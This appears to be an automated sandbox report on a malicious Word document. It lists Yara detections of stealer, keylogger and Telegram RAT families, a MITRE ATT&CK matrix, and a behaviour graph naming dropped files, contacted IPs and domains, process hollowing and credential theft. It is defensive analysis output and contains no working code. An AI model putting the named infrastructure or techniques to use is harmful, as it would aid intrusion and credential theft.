          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0ee8.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730ee8.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a0399de.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0ee8.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a03a8c6.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f2a8c6.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730000.5.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2d020000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1da8c6.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10000.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10ee8.5.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2d020000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28fc0000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.3.jphwmyiA.pif.24507b80.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a0399de.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f299de.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.3.jphwmyiA.pif.187dcca8.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10ee8.5.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0000.5.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730000.5.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.3.jphwmyiA.pif.187dcca8.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730ee8.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1d99de.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a03a8c6.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1da8c6.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1d99de.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28fc0000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.3.jphwmyiA.pif.283edba0.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000000C.00000002.3446215142.0000000027271000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3446220044.000000002B461000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3446431807.000000001B4F5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: jphwmyiA.pif PID: 6396, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: jphwmyiA.pif PID: 2228, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: jphwmyiA.pif PID: 5476, type: MEMORYSTR

          Remote Access Functionality

          barindex
          Yara detected PureLog Stealer
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f2a8c6.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1d140000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.3.jphwmyiA.pif.283edba0.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.3.jphwmyiA.pif.24507b80.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1d140000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f299de.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10000.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0000.5.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0ee8.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730ee8.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a0399de.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0ee8.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a03a8c6.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f2a8c6.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730000.5.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2d020000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1da8c6.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10000.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10ee8.5.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2d020000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28fc0000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.3.jphwmyiA.pif.24507b80.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a0399de.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f299de.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.3.jphwmyiA.pif.187dcca8.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10ee8.5.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0000.5.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730000.5.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.3.jphwmyiA.pif.187dcca8.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730ee8.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1d99de.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a03a8c6.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1da8c6.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1d99de.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28fc0000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.3.jphwmyiA.pif.283edba0.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000000C.00000002.3446215142.0000000027271000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3446220044.000000002B461000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3446431807.000000001B4F5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Yara detected Snake Keylogger
          Source: Yara matchFile source: 00000010.00000002.3444167534.000000001A451000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3444524206.000000002A3C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Yara detected Telegram RAT
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f2a8c6.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1d140000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.3.jphwmyiA.pif.283edba0.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.3.jphwmyiA.pif.24507b80.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1d140000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f299de.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10000.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0000.5.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0ee8.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730ee8.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a0399de.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0ee8.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a03a8c6.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f2a8c6.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730000.5.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2d020000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1da8c6.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10000.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10ee8.5.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2d020000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28fc0000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.3.jphwmyiA.pif.24507b80.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a0399de.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f299de.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.3.jphwmyiA.pif.187dcca8.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10ee8.5.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0000.5.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730000.5.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.3.jphwmyiA.pif.187dcca8.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730ee8.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1d99de.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a03a8c6.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1da8c6.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1d99de.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28fc0000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.3.jphwmyiA.pif.283edba0.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: jphwmyiA.pif PID: 6396, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: jphwmyiA.pif PID: 2228, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: jphwmyiA.pif PID: 5476, type: MEMORYSTR
          Yara detected VIP Keylogger
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f2a8c6.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1d140000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.3.jphwmyiA.pif.283edba0.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.3.jphwmyiA.pif.24507b80.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1d140000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f299de.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10000.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0000.5.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0ee8.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730ee8.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a0399de.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0ee8.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a03a8c6.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f2a8c6.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730000.5.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2d020000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1da8c6.2.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10000.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10ee8.5.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2d020000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28fc0000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.3.jphwmyiA.pif.24507b80.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a0399de.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f299de.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.3.jphwmyiA.pif.187dcca8.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10ee8.5.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0000.5.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730000.5.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.3.jphwmyiA.pif.187dcca8.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730ee8.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1d99de.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a03a8c6.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1da8c6.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1d99de.3.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28fc0000.6.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.3.jphwmyiA.pif.283edba0.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000003.2330033359.00000000187DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: jphwmyiA.pif PID: 6396, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: jphwmyiA.pif PID: 2228, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: jphwmyiA.pif PID: 5476, type: MEMORYSTR

          Mitre Att&ck Matrix

          ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
          Gather Victim Identity Information22
          Scripting          		1
          Valid Accounts          		1
          Native API          		22
          Scripting          		1
          DLL Side-Loading          		1
          Disable or Modify Tools          		1
          OS Credential Dumping          		1
          System Time Discovery          		Remote Services11
          Archive Collected Data          		1
          Web Service          		Exfiltration Over Other Network MediumAbuse Accessibility Features
          CredentialsDomainsDefault Accounts1
          Shared Modules          		1
          DLL Side-Loading          		1
          Extra Window Memory Injection          		11
          Deobfuscate/Decode Files or Information          		LSASS Memory1
          System Network Connections Discovery          		Remote Desktop Protocol1
          Data from Local System          		13
          Ingress Tool Transfer          		Exfiltration Over BluetoothNetwork Denial of Service
          Email AddressesDNS ServerDomain Accounts33
          Exploitation for Client Execution          		1
          Valid Accounts          		1
          Valid Accounts          		3
          Obfuscated Files or Information          		Security Account Manager2
          File and Directory Discovery          		SMB/Windows Admin Shares1
          Email Collection          		11
          Encrypted Channel          		Automated ExfiltrationData Encrypted for Impact
          Employee NamesVirtual Private ServerLocal Accounts2
          Command and Scripting Interpreter          		1
          Registry Run Keys / Startup Folder          		1
          Access Token Manipulation          		3
          Software Packing          		NTDS36
          System Information Discovery          		Distributed Component Object ModelInput Capture1
          Non-Standard Port          		Traffic DuplicationData Destruction
          Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script312
          Process Injection          		1
          Timestomp          		LSA Secrets1
          Query Registry          		SSHKeylogging3
          Non-Application Layer Protocol          		Scheduled TransferData Encrypted for Impact
          Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts1
          Registry Run Keys / Startup Folder          		1
          DLL Side-Loading          		Cached Domain Credentials141
          Security Software Discovery          		VNCGUI Input Capture234
          Application Layer Protocol          		Data Transfer Size LimitsService Stop
          DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
          Extra Window Memory Injection          		DCSync41
          Virtualization/Sandbox Evasion          		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
          Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job221
          Masquerading          		Proc Filesystem3
          Process Discovery          		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
          Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
          Valid Accounts          		/etc/passwd and /etc/shadow1
          Application Window Discovery          		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
          IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron1
          Access Token Manipulation          		Network Sniffing1
          System Network Configuration Discovery          		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
          Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd41
          Virtualization/Sandbox Evasion          		Input CaptureSystem Network Connections DiscoverySoftware Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption
          Gather Victim Org InformationDNS ServerCompromise Software Supply ChainWindows Command ShellScheduled TaskScheduled Task312
          Process Injection          		KeyloggingProcess DiscoveryTaint Shared ContentScreen CaptureDNSExfiltration Over Physical MediumResource Hijacking

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet
          behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1585295 Sample: ENQ-0092025.doc Startdate: 07/01/2025 Architecture: WINDOWS Score: 100 53 reallyfreegeoip.org 2->53 55 api.telegram.org 2->55 57 4 other IPs or domains 2->57 75 Suricata IDS alerts for network traffic 2->75 77 Found malware configuration 2->77 79 Malicious sample detected (through community Yara rule) 2->79 85 23 other signatures 2->85 9 WINWORD.EXE 68 104 2->9         started        14 Aiymwhpj.PIF 2->14         started        16 Aiymwhpj.PIF 6 2->16         started        signatures3 81 Tries to detect the country of the analysis system (by using the IP) 53->81 83 Uses the Telegram API (likely for C&C communication) 55->83 process4 dnsIp5 61 147.124.216.113, 49710, 80 AC-AS-1US United States 9->61 51 C:\Windows\SysWOW64\brightness.exe, PE32 9->51 dropped 99 Document exploit detected (creates forbidden files) 9->99 101 Drops executables to the windows directory (C:\Windows) and starts them 9->101 103 Office process queries suspicious COM object (likely to drop second stage) 9->103 18 brightness.exe 1 10 9->18         started        105 Writes to foreign memory regions 14->105 107 Allocates memory in foreign processes 14->107 109 Sample uses process hollowing technique 14->109 23 jphwmyiA.pif 14->23         started        25 cmd.exe 14->25         started        111 Sample is not signed and drops a device driver 16->111 27 jphwmyiA.pif 16->27         started        29 cmd.exe 16->29         started        file6 signatures7 process8 dnsIp9 59 amazonenviro.com 166.62.27.188, 49716, 49717, 80 AS-26496-GO-DADDY-COM-LLCUS United States 18->59 43 C:\Users\Public\Libraries\jphwmyiA.pif, PE32 18->43 dropped 45 C:\Users\Public\Libraries\Aiymwhpj.PIF, PE32 18->45 dropped 47 C:\Users\Public\Libraries\FX.cmd, DOS 18->47 dropped 49 2 other malicious files 18->49 dropped 87 Drops PE files with a suspicious file extension 18->87 89 Writes to foreign memory regions 18->89 91 Allocates memory in foreign processes 18->91 97 3 other signatures 18->97 31 jphwmyiA.pif 15 2 18->31         started        35 cmd.exe 1 18->35         started        93 Tries to steal Mail credentials (via file / registry access) 23->93 95 Tries to harvest and steal browser information (history, passwords, etc) 23->95 37 conhost.exe 25->37         started        39 